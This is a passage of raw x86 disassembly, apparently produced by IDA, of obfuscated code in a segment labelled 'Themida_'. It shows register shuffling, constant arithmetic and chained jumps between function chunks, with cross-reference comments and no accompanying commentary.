		sub	al, 0D5h
		push	291Bh
		mov	[esp-12h+arg_E], edx
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], ebx
		mov	bl, 8Ah
		jmp	loc_587229
; ---------------------------------------------------------------------------


loc_587C9E:				; CODE XREF: sub_585452+2773j
					; sub_585019+976Bj
		push	esi
		push	ebx
		xor	[esp-4+arg_0], 13B6641Bh
		jmp	loc_5840CB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587CAC:				; CODE XREF: Themida_:00584A89j
		sub	edi, 344B1D64h
		jmp	loc_58F7BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_587CB7:				; CODE XREF: sub_589FD5+566Cj
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_587CC2:				; CODE XREF: Themida_:00584DE7j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	2011h
		mov	[esp], ecx
		jmp	loc_58EBBE
; ---------------------------------------------------------------------------


loc_587CD8:				; CODE XREF: Themida_:0058C846j
		pop	ecx
		push	21D4h
		jmp	loc_5856C5
; ---------------------------------------------------------------------------


loc_587CE3:				; CODE XREF: Themida_:0058D781j
		mov	ecx, 77CA3661h
		add	ecx, 602D11B8h
		jmp	loc_58FBBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E234


loc_587CF3:				; CODE XREF: sub_58E234-58FEj
		and	esi, 30DA4D9Ah
		jmp	loc_589DCC
; END OF FUNCTION CHUNK	FOR sub_58E234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_587CFE:				; CODE XREF: sub_58A5A3-26D2j
		pop	eax
		sub	edx, 4
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		jmp	loc_58F3F1
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_587D14:				; CODE XREF: sub_586650+7C07j
		xor	edx, 6D03214Fh
		add	edx, 0B9E98203h
		jmp	loc_58A9CC
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587D25:				; CODE XREF: sub_585452+20F0j
		add	bh, 21h
		jmp	loc_58BFDD
; ---------------------------------------------------------------------------


loc_587D2D:				; CODE XREF: sub_585452+3206j
		shr	eax, 5
		or	eax, 488C1228h
		jmp	loc_584AAF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_587D3A:				; CODE XREF: sub_58C230-5BCDj
		push	[esp-8+arg_4]
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58D522
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_587D4E:				; CODE XREF: Themida_:0058FCDDj
		mov	ecx, 0FFFFFFFFh
		jmp	loc_585CFC
; ---------------------------------------------------------------------------


loc_587D58:				; CODE XREF: Themida_:0058E271j
		mov	[esp], esi
		mov	esi, 42E62414h
		mov	edi, esi
		pop	esi
		push	5CD6h
		jmp	loc_5850AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587D6D:				; CODE XREF: sub_585452+2679j
		xor	cl, 30h
		add	bl, cl
		jmp	loc_58A56B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587D77:				; CODE XREF: Themida_:0058E885j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_587D7C:				; CODE XREF: Themida_:0058D719j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58C9C5
; ---------------------------------------------------------------------------


loc_587D9B:				; CODE XREF: Themida_:005877A3j
		push	ebp
		mov	ebp, 725A27F4h
		add	ebp, 34AB5331h
		shl	ebp, 4
		push	ecx
		jmp	loc_588F98
; ---------------------------------------------------------------------------


loc_587DB0:				; CODE XREF: Themida_:0058FABEj
		push	ecx
		mov	ecx, 4
		jmp	loc_585808
; ---------------------------------------------------------------------------


loc_587DBB:				; CODE XREF: Themida_:005881B7j
		mov	edx, 43C12B41h
		and	edx, 9F94734h
		jmp	loc_58C4FF
; ---------------------------------------------------------------------------


loc_587DCB:				; CODE XREF: Themida_:00585EEEj
		push	9D5h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_58A646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_587DE6:				; CODE XREF: sub_58BE98-46FDj
		pop	esp
		jmp	loc_58BC16
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_587DEC:				; CODE XREF: sub_58AB18-46D9j
		and	esi, 20A2791Fh
		shl	esi, 3
		sub	esi, 186608EAh
		jmp	loc_58D9AE
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_587E00:				; CODE XREF: Themida_:005871E4j
		push	ecx
		jmp	loc_58D51B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587E06:				; CODE XREF: sub_585452+643Ej
		mov	[esp-14h+arg_E+2], eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_587E0E:				; CODE XREF: sub_58CA39-3EE8j
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_58933B
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587E1E:				; CODE XREF: sub_585452+727Bj
		sub	esi, 4A689F36h
		jmp	loc_58F267
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_587E29:				; CODE XREF: sub_58E761-3C37j
		mov	esp, [esp+8+var_8]
		div	cl
		movzx	cx, ah
		push	0D19h
		jmp	loc_58B536
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_587E3C:				; CODE XREF: sub_589FD5-38AFj
		add	ebp, 0A006896Dh
		jmp	loc_58813F
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_587E47:				; CODE XREF: sub_58DA2E+218Cj
		add	esp, 4
		mov	eax, [esp+8+var_8]
		push	edi
		jmp	loc_58B589
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_587E56:				; CODE XREF: Themida_:00587A37j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_587E5B:				; CODE XREF: Themida_:005845DAj
		shr	dl, 6
		xor	dl, 25h
		add	dl, 5Ch
		sub	bl, 0C2h
		add	bl, dl
		add	bl, 0C2h
		pop	edx
		push	eax
		push	edx
		jmp	loc_58D43D
; ---------------------------------------------------------------------------
		lodsb
		push	4BFDh
		jmp	loc_58400D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_587E7F:				; CODE XREF: sub_58999B+47E4j
		sub	edx, 615F6079h
		sub	edx, ebp
		push	esi
		push	0CEF08EEh
		pop	esi
		jmp	loc_58608E
; END OF FUNCTION CHUNK	FOR sub_58999B

; =============== S U B	R O U T	I N E =======================================



sub_587E93	proc near		; CODE XREF: sub_58A4F5-2045j

; FUNCTION CHUNK AT 005853B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B701 SIZE 00000008 BYTES

		push	ebx
		mov	bl, 90h
		jmp	loc_58B701
sub_587E93	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_587E9B:				; CODE XREF: Themida_:00587905j
		push	ebx
		mov	bh, 0E1h
		xor	bh, 65h
		sub	al, bh
		pop	ebx
		push	ecx
		mov	cl, 0C2h
		jmp	loc_586179
; ---------------------------------------------------------------------------


loc_587EAC:				; CODE XREF: Themida_:0058D5BDj
		add	edx, 2
		jmp	loc_5897AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587EB4:				; CODE XREF: sub_585452+DD5j
		xor	[esp+6+var_4+2], ecx
		pop	ecx
		pop	eax
		push	6E1Fh
		mov	[esp+2+var_4+2], edi
		jmp	sub_58A459
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_587EC7:				; CODE XREF: sub_58A5A3-1D0Dj
		shl	eax, 4
		sub	eax, 210D11FCh
		add	edx, eax
		jmp	loc_587CFE
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587ED6:				; CODE XREF: sub_585452+1EFj
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587EDB:				; CODE XREF: Themida_:0058EEFDj
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 56F65BA5h
		add	esi, edx
		jmp	loc_587601
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587F05:				; CODE XREF: sub_585452-13EDj
		push	edx
		mov	edx, 7E71083h
		sub	eax, edx
		pop	edx
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		mov	ebx, 5A54D68h
		add	ebx, 0FFFFFFFFh
		shl	ebx, 1
		sub	ebx, 0B4A8ACEh
		and	eax, ebx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_584DBA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_587F43:				; CODE XREF: sub_58EFBD-6AB5j
		mov	ecx, 47757257h
		not	ecx
		not	ecx
		add	ecx, 0B88A8DADh
		jmp	loc_588F1B
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587F57:				; CODE XREF: sub_585452+7B4j
		mov	ebx, 0BE80A283h
		sub	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, ecx
		mov	ebx, eax
		pop	eax
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_58CFCA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587F73:				; CODE XREF: Themida_:0058F01Fj
		xor	[esp], ebp
		jmp	loc_5846ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587F7B:				; CODE XREF: sub_585452+2D89j
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_5877F4
; ---------------------------------------------------------------------------


loc_587F85:				; CODE XREF: sub_585452+6FBCj
		add	esi, 6B0D4681h
		jmp	loc_58824C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587F90:				; CODE XREF: Themida_:00585382j
		sub	eax, edx
		pop	edx
		add	eax, ebx
		add	eax, 1AD90138h
		push	ebx
		push	26933DCFh
		pop	ebx
		shr	ebx, 6
		jmp	loc_58B3D7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_588EFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587FB1:				; CODE XREF: sub_585452+97E9j
		pop	edi
		jmp	loc_58BB9A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587FB7:				; CODE XREF: Themida_:0058D51Dj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_588EAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_587FC8:				; CODE XREF: sub_58FA66-8BB4j
		push	esp
		jmp	loc_58B65A
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_587FCE:				; CODE XREF: Themida_:0058E5E7j
		push	550Ch
		jmp	loc_583C7C
; ---------------------------------------------------------------------------


loc_587FD8:				; CODE XREF: Themida_:00588152j
		sub	ecx, 21FD7E9Ah
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_58F7EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587FF0:				; CODE XREF: sub_585452+183Dj
		add	esp, 4
		jmp	loc_586167
; ---------------------------------------------------------------------------


loc_587FFB:				; CODE XREF: sub_585452+9132j
		push	edx
		mov	dh, 0A8h
		or	dh, 0ACh
		or	dh, 2Ch
		jmp	loc_58FF4E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588009:				; CODE XREF: Themida_:00589909j
		shl	cl, 3
		or	cl, 99h
		shl	cl, 7
		shl	cl, 6
		shl	cl, 3
		add	cl, 0Bh
		add	bl, cl
		pop	ecx
		jmp	loc_586D31
; ---------------------------------------------------------------------------


loc_588023:				; CODE XREF: Themida_:00584196j
		add	ebx, 4
		sub	ebx, 2
		jmp	loc_585069
; ---------------------------------------------------------------------------


loc_588034:				; CODE XREF: Themida_:0058BC31j
		push	dword ptr [esp+4]
		jmp	loc_587BFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58803D:				; CODE XREF: sub_585452+4932j
		push	7B89h
		mov	[esp+16h+var_18+2], edi
		jmp	loc_58A469
; ---------------------------------------------------------------------------


loc_58804A:				; CODE XREF: sub_585452+55j
		mov	edx, 266A477Eh
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 0F88019A7h
		sub	edi, ecx
		push	[esp+6+var_8+2]
		pop	ecx
		add	esp, 4
		push	edi
		add	[esp+6+var_8+2], 50391694h
		pop	esi
		sub	esi, 50391694h
		pop	edi
		push	eax
		mov	eax, 6EDF3491h
		add	esi, eax
		pop	eax
		add	esi, 9764FE1Bh
		add	eax, 1F8E3A4Ch
		sub	eax, esi
		sub	eax, 1F8E3A4Ch
		pop	esi
		xor	ebx, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 2B584C62h
		sub	eax, 2B584C5Eh
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_58C113
; ---------------------------------------------------------------------------


loc_5880B2:				; CODE XREF: sub_585452+818Dj
		add	eax, ebx
		pop	ebx
		sub	eax, 6E465D6Fh
		jmp	loc_58A2E9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5880BF:				; CODE XREF: Themida_:00589790j
		mov	cx, [esp]
		jmp	loc_58B6E1
; ---------------------------------------------------------------------------


loc_5880C8:				; CODE XREF: Themida_:0058EBE3j
		mov	ecx, 2CC6191Ch
		dec	ecx
		shl	ecx, 1
		shl	ecx, 4
		jmp	loc_587C00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5880D8:				; CODE XREF: sub_585452+56E0j
		add	al, cl
		pop	ecx
		jmp	loc_58A930
; ---------------------------------------------------------------------------


loc_5880E0:				; CODE XREF: sub_585452+7661j
		shr	dh, 1
		inc	dh
		jmp	loc_5860B4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5880E9:				; CODE XREF: Themida_:00589C3Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		push	12D8h
		jmp	loc_58AA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588106:				; CODE XREF: sub_585452+932Bj
		pop	esp
		add	eax, 551038C4h
		push	2684h
		jmp	loc_58FC36
; ---------------------------------------------------------------------------


loc_588116:				; CODE XREF: sub_585452+9FA7j
		push	ax
		mov	al, 0F3h
		jmp	loc_58CA4F
; ---------------------------------------------------------------------------


loc_58811F:				; CODE XREF: sub_585452+54FAj
		pop	eax
		xor	cl, dl
		push	dword ptr [esp+0]
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_58A1D7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_588133:				; CODE XREF: sub_58405E+B038j
		xor	eax, 6CB6BF73h
		mov	edx, eax
		jmp	loc_5854E1
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58813F:				; CODE XREF: sub_589FD5-2193j
		mov	edx, ebp
		jmp	loc_583E92
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_588146:				; CODE XREF: Themida_:0058DE86j
		and	ecx, 63BE7ED8h
		or	ecx, 21457C8Ch
		jmp	loc_587FD8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58F23F
; ---------------------------------------------------------------------------


loc_588160:				; CODE XREF: Themida_:0058431Bj
		mov	edi, 75142CD2h
		xor	edi, 7F187875h
		jmp	loc_584945
; ---------------------------------------------------------------------------


loc_588170:				; CODE XREF: Themida_:00588BD3j
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58817C:				; CODE XREF: sub_589967+4ECAj
		push	edx
		push	1
		push	[esp+18h+var_18]
		pop	edx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_584EBA
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_588194:				; CODE XREF: Themida_:0058CF65j
		add	esi, 82378BBh
		xor	esi, 547C2ADh
		sub	ebx, esi
		jmp	loc_58A30E
; ---------------------------------------------------------------------------


loc_5881A7:				; CODE XREF: Themida_:0058499Fj
		pop	ecx
		jmp	loc_5876A0
; ---------------------------------------------------------------------------


loc_5881AD:				; CODE XREF: Themida_:0058919Aj
		push	ecx
		mov	ecx, 59EF183Dh
		add	esi, ecx
		pop	ecx
		push	edx
		jmp	loc_587DBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5881BC:				; CODE XREF: sub_58EFBD-143Aj
		pop	eax
		jmp	loc_58A280
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_5881C2:				; CODE XREF: sub_586A34+2E28j
		pop	ebx
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		cmp	cl, al
		pushf
		jmp	loc_58B9C7
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5881D7:				; CODE XREF: sub_585452+5B5Dj
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_587F7B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5881E0:				; CODE XREF: sub_58EFBD-3327j
		mov	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 778E2359h
		add	edx, ebx
		pop	ebx
		jmp	loc_58CFA6
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5881F1:				; CODE XREF: sub_585452+3C2j
		pop	esp
		sub	esp, 4
		mov	[esp+32h+var_34+2], eax
		mov	eax, 75AC1321h
		shl	eax, 6
		sub	eax, 5F363AC5h
		xor	eax, 0BCE8D7Fh
		add	ebp, eax
		jmp	loc_58BBE9
; ---------------------------------------------------------------------------


loc_588214:				; CODE XREF: sub_585452+3C50j
		pop	[esp+32h+var_34+2]
		pop	esp
		jmp	loc_585130
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58821D:				; CODE XREF: Themida_:005895FBj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58944C
; ---------------------------------------------------------------------------


loc_588233:				; CODE XREF: Themida_:0058E0D4j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	al, dl
		jmp	loc_586056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58824C:				; CODE XREF: sub_585452+2B39j
		add	esi, eax
		sub	esi, 6B0D4681h
		push	edx
		mov	edx, 2CC13677h
		shl	edx, 3
		push	edx
		not	[esp-4+arg_0]
		pop	edx
		add	edx, 0FFFFFFFFh
		inc	edx
		add	edx, 7DD11E3Ah
		sub	esi, edx
		mov	edx, [esp-8+arg_4]
		jmp	loc_58BA3F
; ---------------------------------------------------------------------------


loc_588279:				; CODE XREF: sub_585452+8CC5j
		or	bl, ah
		pop	ax
		sub	bl, 0D4h
		sub	bl, 0EFh
		inc	bl
		shr	bl, 5
		push	ebx
		not	byte ptr [esp-6+arg_0+2]
		pop	ebx
		add	bl, 3Eh
		push	dx
		mov	dh, 0C1h
		add	al, dh
		pop	dx
		add	al, bl
		sub	esp, 4
		mov	[esp-6+arg_0+2], ecx
		mov	cl, 4Ah
		xor	cl, 8Bh
		sub	al, cl
		pop	ecx
		jmp	loc_58F709
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5882AD:				; CODE XREF: sub_58EFBD-6424j
		mov	[esp-4+arg_0], edx
		push	78CBh
		jmp	loc_58881C
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5882BA:				; CODE XREF: sub_585452+C6Cj
		push	dx
		mov	dh, bh
		dec	dh
		mov	bh, dh
		jmp	loc_589C62
; ---------------------------------------------------------------------------


loc_5882C7:				; CODE XREF: sub_585452+25FAj
		add	edx, 0A1E4D5Bh
		sub	edx, 7261E71h
		sub	edx, 101D74D6h
		jmp	loc_5868C9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DCD4


loc_5882DE:				; CODE XREF: sub_58DCD4+10j
		mov	ecx, 15D12550h
		mov	edx, ecx
		jmp	loc_58E2FA
; END OF FUNCTION CHUNK	FOR sub_58DCD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5882EA:				; CODE XREF: sub_585452+46D4j
		push	edx
		mov	edx, 2D4B7D28h
		mov	eax, 6ADFC72Ch
		sub	eax, edx
		pop	edx
		push	edi
		mov	edi, 8B1201h
		add	eax, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		add	edi, eax
		pop	eax
		jmp	loc_585BF4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_588311:				; CODE XREF: sub_58EFBD-23DCj
		not	eax
		push	edx
		jmp	loc_58BC80
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_588319:				; CODE XREF: Themida_:00588601j
		pop	esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58EAD3

; =============== S U B	R O U T	I N E =======================================



sub_58832B	proc near		; CODE XREF: sub_585452+2652j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B4BD SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 59F01818h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 1B9E2035h
		jmp	loc_58B4BD
sub_58832B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58833F:				; CODE XREF: sub_585452+3FCAj
		sub	eax, 2C3F4A5Ch
		mov	edx, [esp+0]
		add	esp, 4
		push	edx
		push	63E16B64h
		pop	edx
		dec	edx
		shr	edx, 5
		or	edx, 439D2FE0h
		add	edx, 0BC60D009h
		sub	eax, edx
		pop	edx
		push	eax
		push	[esp-10h+arg_E+2]
		pop	eax
		pop	dword ptr [esp+0]
		jmp	loc_588A75
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583C38


loc_588372:				; CODE XREF: sub_583C38+1Bj
		pop	ebp
		mov	edx, [esp-4+arg_0]
		jmp	loc_589BDC
; END OF FUNCTION CHUNK	FOR sub_583C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C31F


loc_58837B:				; CODE XREF: sub_58C31F+5C2j
		sub	eax, 227ABBB0h
		mov	ebp, eax
		pop	eax
		add	edi, ebp
		push	[esp+4+var_4]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_589D89
; END OF FUNCTION CHUNK	FOR sub_58C31F
; ---------------------------------------------------------------------------


loc_5883A3:				; CODE XREF: Themida_:0058E466j
		sub	ecx, 3C577C8Ah
		add	ecx, 30FF18A6h
		pop	esi
		push	esi
		mov	esi, 2
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5883D8:				; CODE XREF: sub_585452+A10j
		push	[esp+4+var_4]
		pop	ebp
		push	4C2h
		mov	[esp+8+var_8], ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	ecx
		push	525Eh
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5895E6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588403:				; CODE XREF: Themida_:0058D9D5j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58BC36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58840E:				; CODE XREF: sub_587574-B53j
		push	ecx
		mov	ecx, 3ADC075Dh
		dec	ecx
		dec	ecx
		or	ecx, 3B3C2145h
		and	ecx, 1C2A0CBCh
		shr	ecx, 2
		xor	ecx, 2A425AEEh
		dec	ecx
		push	eax
		jmp	loc_5870F2
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588432:				; CODE XREF: sub_585452+5DA3j
		pop	esp
		xor	esi, 13B6641Bh
		push	3498h
		jmp	loc_58E64D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_588443:				; CODE XREF: sub_589FD5-38F2j
		sub	esi, edi
		pop	edi
		push	0ED2h
		mov	[esp-8+arg_4], esi
		push	[esp-8+arg_8]
		jmp	loc_58F63D
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_588457:				; CODE XREF: Themida_:00587B07j
		add	[esp+4], edi
		jmp	loc_587391
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588460:				; CODE XREF: sub_585452+9DC8j
		pop	ecx
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_58A699
; ---------------------------------------------------------------------------


loc_58846C:				; CODE XREF: sub_585452+9251j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	6DFh
		mov	[esp+4+var_4], ecx
		push	edx
		jmp	loc_5899E9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588480:				; CODE XREF: Themida_:0058CCE6j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A4F5


loc_588493:				; CODE XREF: sub_58A4F5+E7Aj
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	bl, 0FDh
		neg	bl
		inc	bl
		push	4F1Dh
		mov	[esp+0Ch+var_C], ecx
		mov	cl, 9
		shl	cl, 3
		jmp	sub_587E93
; END OF FUNCTION CHUNK	FOR sub_58A4F5
; ---------------------------------------------------------------------------
		lodsb
		push	small 75A4h
		mov	[esp], bx
		mov	bh, 1Ah
		jmp	loc_585C72
; ---------------------------------------------------------------------------


loc_5884C5:				; CODE XREF: Themida_:00588F66j
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4FA663B9h
